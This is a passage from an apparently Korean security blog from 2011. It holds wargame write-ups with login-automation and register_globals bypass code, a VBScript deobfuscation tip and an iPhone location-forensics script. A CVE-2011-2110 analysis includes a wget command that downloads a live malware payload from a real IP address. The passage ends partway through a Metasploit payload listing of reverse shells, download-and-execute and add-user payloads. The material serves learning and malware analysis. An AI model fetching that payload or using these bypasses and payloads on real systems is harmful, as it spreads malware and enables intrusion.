 EAPOL HMAC : 72 99 8C AA 4B 4E A5 0A 2B 4D AF 31 BA 26 37 08 
root@bt:~# 

답을 입력하면 다시 새로운 문제가 나온다. 특정 URL을 접속하면 username 및 password를 알 수 있다. 3초안에 로그인을 해야 하므로 아래와 같이 코드를 작성하여 로그인을 할 수 있다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


#!/usr/bin/env python
import httplib, urllib, re

params = urllib.urlencode({'login':['admin', '1']})
headers = {
 'Content-type':'application/x-www-form-urlencoded',
 'Accept':'text/plain',
 'Cookie':'WC4_SID=934709-6203-8W6KlYS3QXJDasnk'
}
conn = httplib.HTTPConnection('www.wechall.net:80')
conn.request('POST', '/challenge/Z/blackhattale/login.php?action=request', params, headers)
response = conn.getresponse()
print response.status, response.reason
data = response.read()
password = re.search('username=admin3&password=(\d+)', data).group(1)
print password
print '#############################################################'

conn.request('POST', '/challenge/Z/blackhattale/login.php?action=login&username=admin3&password=' + str(password), params, headers)
response = conn.getresponse()
print response.status, response.reason
data = response.read()
print data

conn.close()

로그인을 성공하면 http://www.wechall.net/challenge/Z/blackhattale/upload_asc.php URL로 이동함을 알 수 있다. 해당 페이지로 이동하면 asc 파일이 주어지는데 Cain&Abel 툴을 이용하여 풀이가 가능하다. 단 최신버전이 아닌 구버전으로 해야 한다.

Cain&Abel 4.92 : http://www.dudael.net/OldVersions/Cain%20&%20Abel%204.9.2.exe

해당 툴에서 [Tools] - [RSA SecureID Token Calculator] 메뉴에서 asc 파일을 import 한 후 문제에서 주어진 27. of July, 2012 14:24 GMT+1 시간으로 설정하여 확인하면 474358 값이 나온다.

나의 경우에는 해당 값이 나오지 않아 그냥 하루치를 뽑아서 Brueforce 하여 풀었다.

WWW-Rewrites

Sat, 02 Jul 2011 07:37:20 +0000

이번 문제는 현재 풀이는 하는 시스템의 IP로 아래와 같은 주소로 요청을 보낸다. http://121.190.4.106:80/ByJJoon/[0-9]+_mul_[0-9]+.html

요청을 받은 후 첫번째 숫자와 두번째 숫자를 곱해서 다시 응답해주는 문제이다. 간단하게 아래와 같이 코드를 작성하여 풀이가 가능하다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


#!/usr/bin/env python
import socket, re

HOST = '0.0.0.0'
PORT = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
conn, addr = s.accept()
print 'Connected by', addr

data = conn.recv(1024)
print data

tmp = re.search('GET /ByJJoon/(\d+_mul_\d+).html HTTP/1.1', data)
tmp = tmp.group(1)
tmp = re.sub('_mul_', '*', tmp)

output = eval(tmp)
print output

conn.send(str(output))
conn.close()
s.close()

Register Globals

Sat, 02 Jul 2011 07:04:42 +0000

문제의 코드는 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


# Send request?
if (isset($_POST['password']) && isset($_POST['username']) && is_string($_POST['password']) && is_string($_POST['username']) )
{
 $uname = mysql_real_escape_string($_POST['username']);
 $pass = md5($_POST['password']);
 $query = "SELECT level FROM ".GWF_TABLE_PREFIX."wc_chall_reg_glob WHERE username='$uname' AND password='$pass'";
 $db = gwf_db();
 if (false === ($row = $db->queryFirst($query))) {
 echo GWF_HTML::error('Register Globals', $chall->lang('err_failed'));
 } else {
 # Login success
 $login = array($_POST['username'], (int)$row['level']);
 }
}

if (isset($login))
{
 echo GWF_HTML::message('Register Globals', $chall->lang('msg_welcome_back', htmlspecialchars($login[0]), htmlspecialchars($login[1])));
 if (strtolower($login[0]) === 'admin') {
 $chall->onChallengeSolved(GWF_Session::getUserID());
 }
}

여기서 Register Globals 옵션이 꺼져 있으면 login 변수를 GET 인자로 전달할 수 있다. 따라서 아래와 같이 GET 인자를 구성하여 넘기면 된다.

http://www.wechall.net/challenge/training/php/globals/globals.php?login[0]=admin&login[1]=1

참고 : http://php.net/manual/en/security.globals.php

Prime Factory

Sat, 02 Jul 2011 05:25:44 +0000

Your task is simple: Find the first two primes above 1 million, whose separate digit sums are also prime. As example take 23, which is a prime whose digit sum, 5, is also prime. The solution is the concatination of the two numbers, Example: If the first number is 1,234,567 and the second is 8,765,432, your solution is 12345678765432

1000000 이상의 수중에서 소수이며 각자리 숫자의 합 역시 소수인 두개의 숫자를 찾아서 이어서 인증을 하라는 문제이다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


#!/usr/bin/env python
# -*- coding: utf-8 -*-
import math

# 1이면 소수, 0이면 소수 아님
def isprime(i):
 if i == 1 or i == 2:
 return 1

 for x in range(2, i):
 if i % x == 0:
 return 0
 break

 return 1

i = 1000000
count = 0
while 1:
 sum = 0
 if count == 2:
 break

 elif isprime(i) == 1:
 for x in str(i):
 sum += int(x)
 if isprime(sum) == 1:
 print i
 count += 1
 i += 1

답은 10000331000037

Visual Basic 난독화 스크립트 해제 팁

Thu, 30 Jun 2011 07:38:28 +0000

일반적으로 Autorun 계열 악성코드가 많으며 난독화 되어있는 경우 아래와 같이 Execute 로 실행하도록 되어 있다.

1

Execute (chr( 659772/8046 ) blahblahblah...... )

따라서 이부분을 아래와 같이 변경하면 얼랏창으로 확인이 가능하다.

1

wscript.echo (chr( 659772/8046 ) blahblahblah...... )

또는 아래와 같이 수정하여 사용하여도 무방하다.

1
2
3


Dim console
Set console = WScript.StdOut
console.WriteLine (chr( 659772/8046 ) blahblahblah...... )

Iphone Tracker (제 8회 해킹방어대회 예선 1번)

Sun, 26 Jun 2011 04:11:18 +0000

2011년 데프콘 포렌직 300번, 그리고 이번 8회 해킹방어대회 예선 1번 문제가 거의 유사했다. 지난 데프콘 때 아쉽게 못푼 문제였는데 그때 좀 더 코드를 다듬어 놓는다는걸 깜빡하고 있다 이번 기회에 작성하게 되었다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


#!C:\Python27\Python.exe
# -*- coding: utf-8 -*-

# Code ByJJoon (2011-06-26)
# 해킹방어대회 예선 1번 문제 풀이용

from datetime import datetime
import sqlite3, sys

# kml은 구글어스 파일
# /private/var/root/Library/Caches/locationd/consolidated.db
if len(sys.argv) < 2:
 print 'Usage:%s consolidated.db' % sys.argv[0]
 sys.exit(1)

conn = sqlite3.connect(sys.argv[1])
conn.row_factory = sqlite3.Row
curs = conn.cursor()
curs.execute('select * from celllocation order by timestamp desc')

f = open('output.kml', 'w')

# KML header
f.write('''<?xml version="1.0" encoding="UTF-8"?><kml xmlns="http://www.opengis.net/kml/2.2" xmlns:gx="http://www.google.com/kml/ext/2.2" xmlns:kml="http://www.opengis.net/kml/2.2" xmlns:atom="http://www.w3.org/2005/Atom"><Document><name>Iphone Tracker.kml</name><Style id="sn_ylw-pushpin"></Style><Folder>
<name>Cell</name><open>1</open>''')

# KML data
for row in curs:
 lat, lon, ts = row["Latitude"], row["Longitude"], row["Timestamp"]

 # Apple uses timestamps that store the number of seconds since 2001...
 # KST (UTC+9) : 32400
 dt = datetime.utcfromtimestamp(int(ts) + 978307200)
 log = dt.strftime("%Y-%m-%d %H:%M:%S")

 f.write('''
 <Placemark>
 <name>%s</name>
 <Point>
 <altitudeMode>relativeToGround</altitudeMode>
 <coordinates>%s,%s,0</coordinates>
 </Point>
 </Placemark>''' % (log, lon, lat) )

# KML footer
f.write('''</Folder></Document></kml>''')
f.close()

실행하면 output.kml 파일이 생성되며 이걸 구글어스에서 열면 아래와 같이 알 수 있다.

제8회 해킹방어대회 본선진출!

Sat, 25 Jun 2011 14:49:32 +0000

2011년 6월 24일, 25일 양일간 해킹방어대회 예선이 있었습니다. 보통 대회 예선은 각자 집에서 참가를 했었는데, 이번에는 좀 더 원활한 커뮤니케이션을 위해 다같이 모여서 했습니다.

이번에 저희는 n0cdh 라는 팀으로 나가 1위로 통과하였네요. 위 사진은 1등이지만 1등같지 않은 컨셉으로 찍은 사진 :-) 그럼 본선에서 뵙겠습니다!

zlib으로 압축된 URL 확인하는 코드 (CVE-2011-2110 관련)

Fri, 17 Jun 2011 20:46:48 +0000

최근 CVE-2011-2110 취약점을 이용하여 악성코드를 유포하는 내용을 살펴보면 악성코드를 다운로드 받는 URL이 이전과는 조금 다르게 암호화 되어 있다.

XOR은 기본이며, XOR 후 zlib으로 압축되어 있는데 해당 URL을 찾기 편하게 간단하게 스크립트로 짜보았다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


#!/usr/bin/env python
# -*- coding: utf-8 -*-
import zlib, operator, sys, os

# info 변수 인자값에서 URL XOR zlib 키 찾는 함수
def findkey(info):
 for count in range(256): 
 data = ''
 for x in range(0, len(info), 2):
 data += chr(operator.xor(int(info[x:x+2], 16), count))

 if ord(data[0]) == 0x78:
 if ord(data[1]) == 0x01 or ord(data[1]) == 0x5e or ord(data[1]) == 0x9c or ord(data[1]) == 0xda:
 return '[+] Malware URL : ' + zlib.decompress(data)

 return None

# 메인 함수
def main():
 if len(sys.argv) != 2:
 print 'Usage:' + sys.argv[0] + ' value'
 sys.exit()

 url = findkey(sys.argv[1])
 if url == None:
 print '[-] Not found url key'
 sys.exit()
 else:
 print url

if __name__ == "__main__":
 print '[+] Start'
 main()
 print '[+] End'

사용은 아래와 같이 가능하다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


D:\Python Programming\Python Code\Malware\Script Analysis>whatzlib.py "02e6b1525353caa8ad4d4daa49ccaec9ceae494e4aa85534a851d3527b7a1b6b7d37"
[+] Start
[+] Malware URL : http://70.39.99.102/sb.txt
[+] End

D:\Python Programming\Python Code\Malware\Script Analysis>wget http://70.39.99.102/sb.txt
--2011-06-18 05:45:03-- http://70.39.99.102/sb.txt
Connecting to 70.39.99.102:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 63953 (62K) [text/plain]
Saving to: `sb.txt'

100%[========================================================================================>] 63,953 --.-K/s in 0s

2011-06-18 05:45:04 (123 MB/s) - `sb.txt' saved [63953/63953]

D:\Python Programming\Python Code\Malware\Script Analysis>file sb.txt
sb.txt: data

D:\Python Programming\Python Code\Malware\Script Analysis>xor.py sb.txt
ByJJoon XOR Decoder!
[+] Start
[-] Not found XOR key
[+] Find zlib XOR key : 0x7A
[+] End

D:\Python Programming\Python Code\Malware\Script Analysis>file sb.txt_zlib
sb.txt_zlib: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

위 내용들은 모두 왼쪽 XOR DECODER 메뉴에서 사용이 가능하다.

끝으로 자세한 내용은 http://redhidden.tistory.com/36 페이지를 참고하시면 많은 도움이 될거 같다.

Metasploit을 이용한 백도어 생성

Mon, 16 May 2011 17:34:22 +0000

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315


 =[ metasploit v3.8.0-dev [core:3.8 api:1.0]
+ -- --=[ 688 exploits - 357 auxiliary - 39 post
+ -- --=[ 217 payloads - 27 encoders - 8 nops
 =[ svn r12644 updated today (2011.05.17)

msf > show payloads

Payloads
========

 Name Disclosure Date Rank Description
---- --------------- ---- -----------
 aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline
 aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline
 aix/ppc/shell_interact normal AIX execve shell for inetd
 aix/ppc/shell_reverse_tcp normal AIX Command Shell, Reverse TCP Inline
 bsd/sparc/shell_bind_tcp normal BSD Command Shell, Bind TCP Inline
 bsd/sparc/shell_reverse_tcp normal BSD Command Shell, Reverse TCP Inline
 bsd/x86/exec normal BSD Execute Command
 bsd/x86/metsvc_bind_tcp normal FreeBSD Meterpreter Service, Bind TCP
 bsd/x86/metsvc_reverse_tcp normal FreeBSD Meterpreter Service, Reverse TCP Inline
 bsd/x86/shell/bind_tcp normal BSD Command Shell, Bind TCP Stager
 bsd/x86/shell/find_tag normal BSD Command Shell, Find Tag Stager
 bsd/x86/shell/reverse_tcp normal BSD Command Shell, Reverse TCP Stager
 bsd/x86/shell_bind_tcp normal BSD Command Shell, Bind TCP Inline
 bsd/x86/shell_find_port normal BSD Command Shell, Find Port Inline
 bsd/x86/shell_find_tag normal BSD Command Shell, Find Tag Inline
 bsd/x86/shell_reverse_tcp normal BSD Command Shell, Reverse TCP Inline
 bsdi/x86/shell/bind_tcp normal BSDi Command Shell, Bind TCP Stager
 bsdi/x86/shell/reverse_tcp normal BSDi Command Shell, Reverse TCP Stager
 bsdi/x86/shell_bind_tcp normal BSDi Command Shell, Bind TCP Inline
 bsdi/x86/shell_find_port normal BSDi Command Shell, Find Port Inline
 bsdi/x86/shell_reverse_tcp normal BSDi Command Shell, Reverse TCP Inline
 cmd/unix/bind_inetd normal Unix Command Shell, Bind TCP (inetd)
 cmd/unix/bind_netcat normal Unix Command Shell, Bind TCP (via netcat -e)
 cmd/unix/bind_perl normal Unix Command Shell, Bind TCP (via perl)
 cmd/unix/bind_ruby normal Unix Command Shell, Bind TCP (via Ruby)
 cmd/unix/generic normal Unix Command, Generic command execution
 cmd/unix/interact normal Unix Command, Interact with established connection
 cmd/unix/reverse normal Unix Command Shell, Double reverse TCP (telnet)
 cmd/unix/reverse_bash normal Unix Command Shell, Reverse TCP (/dev/tcp)
 cmd/unix/reverse_netcat normal Unix Command Shell, Reverse TCP (via netcat -e)
 cmd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via perl)
 cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby)
 cmd/windows/adduser normal Windows Execute net user /ADD CMD
 cmd/windows/bind_perl normal Windows Command Shell, Bind TCP (via perl)
 cmd/windows/bind_ruby normal Windows Command Shell, Bind TCP (via Ruby)
 cmd/windows/download_exec_vbs normal Windows Executable Download and Execute (via .vbs)
 cmd/windows/reverse_perl normal Windows Command, Double reverse TCP connection (via perl)
 cmd/windows/reverse_ruby normal Windows Command Shell, Reverse TCP (via Ruby)
 generic/debug_trap normal Generic x86 Debug Trap
 generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
 generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
 generic/tight_loop normal Generic x86 Tight Loop
 java/jsp_shell_bind_tcp normal Java JSP Command Shell, Bind TCP Inline
 java/jsp_shell_reverse_tcp normal Java JSP Command Shell, Reverse TCP Inline
 java/meterpreter/bind_tcp normal Java Meterpreter, Java Bind TCP stager
 java/meterpreter/reverse_tcp normal Java Meterpreter, Java Reverse TCP stager
 java/shell/bind_tcp normal Command Shell, Java Bind TCP stager
 java/shell/reverse_tcp normal Command Shell, Java Reverse TCP stager
 linux/armle/adduser normal Linux Add User
 linux/armle/exec normal Linux Execute Command
 linux/armle/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline
 linux/mipsbe/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline
 linux/mipsle/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline
 linux/ppc/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline
 linux/ppc/shell_find_port normal Linux Command Shell, Find Port Inline
 linux/ppc/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline
 linux/ppc64/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline
 linux/ppc64/shell_find_port normal Linux Command Shell, Find Port Inline
 linux/ppc64/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline
 linux/x86/adduser normal Linux Add User
 linux/x86/chmod normal Linux Chmod
 linux/x86/exec normal Linux Execute Command
 linux/x86/meterpreter/bind_ipv6_tcp normal Linux Meterpreter, Bind TCP Stager (IPv6)
 linux/x86/meterpreter/bind_tcp normal Linux Meterpreter, Bind TCP Stager
 linux/x86/meterpreter/find_tag normal Linux Meterpreter, Find Tag Stager
 linux/x86/meterpreter/reverse_ipv6_tcp normal Linux Meterpreter, Reverse TCP Stager (IPv6)
 linux/x86/meterpreter/reverse_tcp normal Linux Meterpreter, Reverse TCP Stager
 linux/x86/metsvc_bind_tcp normal Linux Meterpreter Service, Bind TCP
 linux/x86/metsvc_reverse_tcp normal Linux Meterpreter Service, Reverse TCP Inline
 linux/x86/shell/bind_ipv6_tcp normal Linux Command Shell, Bind TCP Stager (IPv6)
 linux/x86/shell/bind_tcp normal Linux Command Shell, Bind TCP Stager
 linux/x86/shell/find_tag normal Linux Command Shell, Find Tag Stager
 linux/x86/shell/reverse_ipv6_tcp normal Linux Command Shell, Reverse TCP Stager (IPv6)
 linux/x86/shell/reverse_tcp normal Linux Command Shell, Reverse TCP Stager
 linux/x86/shell_bind_ipv6_tcp normal Linux Command Shell, Bind TCP Inline (IPv6)
 linux/x86/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline
 linux/x86/shell_find_port normal Linux Command Shell, Find Port Inline
 linux/x86/shell_find_tag normal Linux Command Shell, Find Tag Inline
 linux/x86/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline
 linux/x86/shell_reverse_tcp2 normal Linux Command Shell, Reverse TCP Inline - Metasm demo
 netware/shell/reverse_tcp normal NetWare Command Shell, Reverse TCP Stager
 osx/armle/execute/bind_tcp normal OSX Write and Execute Binary, Bind TCP Stager
 osx/armle/execute/reverse_tcp normal OSX Write and Execute Binary, Reverse TCP Stager
 osx/armle/shell/bind_tcp normal OSX Command Shell, Bind TCP Stager
 osx/armle/shell/reverse_tcp normal OSX Command Shell, Reverse TCP Stager
 osx/armle/shell_bind_tcp normal OSX Command Shell, Bind TCP Inline
 osx/armle/shell_reverse_tcp normal OSX Command Shell, Reverse TCP Inline
 osx/armle/vibrate normal OSX iPhone Vibrate
 osx/ppc/shell/bind_tcp normal OSX Command Shell, Bind TCP Stager
 osx/ppc/shell/find_tag normal OSX Command Shell, Find Tag Stager
 osx/ppc/shell/reverse_tcp normal OSX Command Shell, Reverse TCP Stager
 osx/ppc/shell_bind_tcp normal OSX Command Shell, Bind TCP Inline
 osx/ppc/shell_reverse_tcp normal OSX Command Shell, Reverse TCP Inline
 osx/x86/bundleinject/bind_tcp normal Mac OS X Inject Mach-O Bundle, Bind TCP Stager
 osx/x86/bundleinject/reverse_tcp normal Mac OS X Inject Mach-O Bundle, Reverse TCP Stager
 osx/x86/exec normal OSX Execute Command
 osx/x86/isight/bind_tcp normal Mac OS X x86 iSight photo capture, Bind TCP Stager
 osx/x86/isight/reverse_tcp normal Mac OS X x86 iSight photo capture, Reverse TCP Stager
 osx/x86/shell_bind_tcp normal OSX Command Shell, Bind TCP Inline
 osx/x86/shell_find_port normal OSX Command Shell, Find Port Inline
 osx/x86/shell_reverse_tcp normal OSX Command Shell, Reverse TCP Inline
 osx/x86/vforkshell/bind_tcp normal OSX (vfork) Command Shell, Bind TCP Stager
 osx/x86/vforkshell/reverse_tcp normal OSX (vfork) Command Shell, Reverse TCP Stager
 osx/x86/vforkshell_bind_tcp normal OSX (vfork) Command Shell, Bind TCP Inline
 osx/x86/vforkshell_reverse_tcp normal OSX (vfork) Command Shell, Reverse TCP Inline
 php/bind_perl normal PHP Command Shell, Bind TCP (via perl)
 php/bind_php normal PHP Command Shell, Bind TCP (via php)
 php/download_exec normal PHP Executable Download and Execute
 php/exec normal PHP Execute Command
 php/meterpreter/bind_tcp normal PHP Meterpreter, Bind TCP Stager
 php/meterpreter/reverse_tcp normal PHP Meterpreter, PHP Reverse TCP stager
 php/meterpreter_reverse_tcp normal PHP Meterpreter, Reverse TCP Inline
 php/reverse_perl normal PHP Command, Double reverse TCP connection (via perl)
 php/reverse_php normal PHP Command Shell, Reverse TCP (via php)
 php/shell_findsock normal PHP Command Shell, Find Sock
 solaris/sparc/shell_bind_tcp normal Solaris Command Shell, Bind TCP Inline
 solaris/sparc/shell_find_port normal Solaris Command Shell, Find Port Inline
 solaris/sparc/shell_reverse_tcp normal Solaris Command Shell, Reverse TCP Inline
 solaris/x86/shell_bind_tcp normal Solaris Command Shell, Bind TCP Inline
 solaris/x86/shell_find_port normal Solaris Command Shell, Find Port Inline
 solaris/x86/shell_reverse_tcp normal Solaris Command Shell, Reverse TCP Inline
 tty/unix/interact normal Unix TTY, Interact with established connection
 windows/adduser normal Windows Execute net user /ADD
 windows/dllinject/bind_ipv6_tcp normal Reflective Dll Injection, Bind TCP Stager (IPv6)
 windows/dllinject/bind_nonx_tcp normal Reflective Dll Injection, Bind TCP Stager (No NX or Win7)
 windows/dllinject/bind_tcp normal Reflective Dll Injection, Bind TCP Stager
 windows/dllinject/find_tag normal Reflective Dll Injection, Find Tag Ordinal Stager
 windows/dllinject/reverse_http normal Reflective Dll Injection, PassiveX Reverse HTTP Tunneling Stager
 windows/dllinject/reverse_ipv6_tcp normal Reflective Dll Injection, Reverse TCP Stager (IPv6)
 windows/dllinject/reverse_nonx_tcp normal Reflective Dll Injection, Reverse TCP Stager (No NX or Win7)
 windows/dllinject/reverse_ord_tcp normal Reflective Dll Injection, Reverse Ordinal TCP Stager (No NX or Win7)
 windows/dllinject/reverse_tcp normal Reflective Dll Injection, Reverse TCP Stager
 windows/dllinject/reverse_tcp_allports normal Reflective Dll Injection, Reverse All-Port TCP Stager
 windows/dllinject/reverse_tcp_dns normal Reflective Dll Injection, Reverse TCP Stager (DNS)
 windows/download_exec normal Windows Executable Download and Execute
 windows/exec normal Windows Execute Command
 windows/messagebox normal Windows MessageBox
 windows/meterpreter/bind_ipv6_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager (IPv6)
 windows/meterpreter/bind_nonx_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
 windows/meterpreter/bind_tcp normal Windows Meterpreter (Reflective Injection), Bind TCP Stager
 windows/meterpreter/find_tag normal Windows Meterpreter (Reflective Injection), Find Tag Ordinal Stager
 windows/meterpreter/reverse_http normal Windows Meterpreter (Reflective Injection), PassiveX Reverse HTTP Tunneling Stager
 windows/meterpreter/reverse_https normal Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager
 windows/meterpreter/reverse_ipv6_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
 windows/meterpreter/reverse_nonx_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
 windows/meterpreter/reverse_ord_tcp normal Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
 windows/meterpreter/reverse_tcp normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager
 windows/meterpreter/reverse_tcp_allports normal Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
 windows/meterpreter/reverse_tcp_dns normal Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
 windows/metsvc_bind_tcp normal Windows Meterpreter Service, Bind TCP
 windows/metsvc_reverse_tcp normal Windows Meterpreter Service, Reverse TCP Inline
 windows/patchupdllinject/bind_ipv6_tcp normal Windows Inject DLL, Bind TCP Stager (IPv6)
 windows/patchupdllinject/bind_nonx_tcp normal Windows Inject DLL, Bind TCP Stager (No NX or Win7)
 windows/patchupdllinject/bind_tcp normal Windows Inject DLL, Bind TCP Stager
 windows/patchupdllinject/find_tag normal Windows Inject DLL, Find Tag Ordinal Stager
 windows/patchupdllinject/reverse_ipv6_tcp normal Windows Inject DLL, Reverse TCP Stager (IPv6)
 windows/patchupdllinject/reverse_nonx_tcp normal Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
 windows/patchupdllinject/reverse_ord_tcp normal Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
 windows/patchupdllinject/reverse_tcp normal Windows Inject DLL, Reverse TCP Stager
 windows/patchupdllinject/reverse_tcp_allports normal Windows Inject DLL, Reverse All-Port TCP Stager
 windows/patchupdllinject/reverse_tcp_dns normal Windows Inject DLL, Reverse TCP Stager (DNS)
 windows/patchupmeterpreter/bind_ipv6_tcp normal Windows Meterpreter (skape/jt injection), Bind TCP Stager (IPv6)
 windows/patchupmeterpreter/bind_nonx_tcp normal Windows Meterpreter (skape/jt injection), Bind TCP Stager (No NX or Win7)
 windows/patchupmeterpreter/bind_tcp normal Windows Meterpreter (skape/jt injection), Bind TCP Stager
 windows/patchupmeterpreter/find_tag normal Windows Meterpreter (skape/jt injection), Find Tag Ordinal Stager
 windows/patchupmeterpreter/reverse_ipv6_tcp normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager (IPv6)
 windows/patchupmeterpreter/reverse_nonx_tcp normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager (No NX or Win7)
 windows/patchupmeterpreter/reverse_ord_tcp normal Windows Meterpreter (skape/jt injection), Reverse Ordinal TCP Stager (No NX or Win7)
 windows/patchupmeterpreter/reverse_tcp normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager
 windows/patchupmeterpreter/reverse_tcp_allports normal Windows Meterpreter (skape/jt injection), Reverse All-Port TCP Stager
 windows/patchupmeterpreter/reverse_tcp_dns normal Windows Meterpreter (skape/jt injection), Reverse TCP Stager (DNS)
 windows/shell/bind_ipv6_tcp normal Windows Command Shell, Bind TCP Stager (IPv6)
 windows/shell/bind_nonx_tcp normal Windows Command Shell, Bind TCP Stager (No NX or Win7)
 windows/shell/bind_tcp normal Windows Command Shell, Bind TCP Stager
 windows/shell/find_tag normal Windows Command Shell, Find Tag Ordinal Stager
 windows/shell/reverse_http normal Windows Command Shell, PassiveX Reverse HTTP Tunneling Stager
 windows/shell/reverse_ipv6_tcp normal Windows Command Shell, Reverse TCP Stager (IPv6)
 windows/shell/reverse_nonx_tcp normal Windows Command Shell, Reverse TCP Stager (No NX or Win7)
 windows/shell/reverse_ord_tcp normal Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
 windows/shell/reverse_tcp normal Windows Command Shell, Reverse TCP Stager
 windows/shell/reverse_tcp_allports normal Windows Command Shell, Reverse All-Port TCP Stager
 windows/shell/reverse_tcp_dns normal Windows Command Shell, Reverse TCP Stager (DNS)
 windows/shell_bind_tcp normal Windows Command Shell, Bind TCP Inline
 windows/shell_bind_tcp_xpfw normal Windows Disable Windows ICF, Command Shell, Bind TCP Inline
 windows/shell_reverse_tcp normal Windows Command Shell, Reverse TCP Inline
 windows/speak_pwned normal Windows Speech API - Say You Got Pwned!
 windows/upexec/bind_ipv6_tcp normal Windows Upload/Execute, Bind TCP Stager (IPv6)
 windows/upexec/bind_nonx_tcp normal Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
 windows/upexec/bind_tcp normal Windows Upload/Execute, Bind TCP Stager
 windows/upexec/find_tag normal Windows Upload/Execute, Find Tag Ordinal Stager
 windows/upexec/reverse_http normal Windows Upload/Execute, PassiveX Reverse HTTP Tunneling Stager
 windows/upexec/reverse_ipv6_tcp normal Windows Upload/Execute, Reverse TCP Stager (IPv6)
 windows/upexec/reverse_nonx_tcp normal Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
 windows/upexec/reverse_ord_tcp normal Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
 windows/upexec/reverse_tcp normal Windows Upload/Execute, Reverse TCP Stager
 windows/upexec/reverse_tcp_allports normal Windows Upload/Execute, Reverse All-Port TCP Stager
 windows/upexec/reverse_tcp_dns normal Windows Upload/Execute, Reverse TCP Stager (DNS)
 windows/vncinject/bind_ipv6_tcp normal VNC Server (Reflective Injection), Bind TCP Stager (IPv6)
 windows/vncinject/bind_nonx_tcp normal VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
 windows/vncinject/bind_tcp normal VNC Server (Reflective Injection), Bind TCP Stager
 windows/vncinject/find_tag normal VNC Server (Reflective Injection), Find Tag Ordinal Stager
 windows/vncinject/reverse_http normal VNC Server (Reflective Injection), PassiveX Reverse HTTP Tunneling Stager
 windows/vncinject/reverse_ipv6_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)
 windows/vncinject/reverse_nonx_tcp normal VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
 windows/vncinject/reverse_ord_tcp normal VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
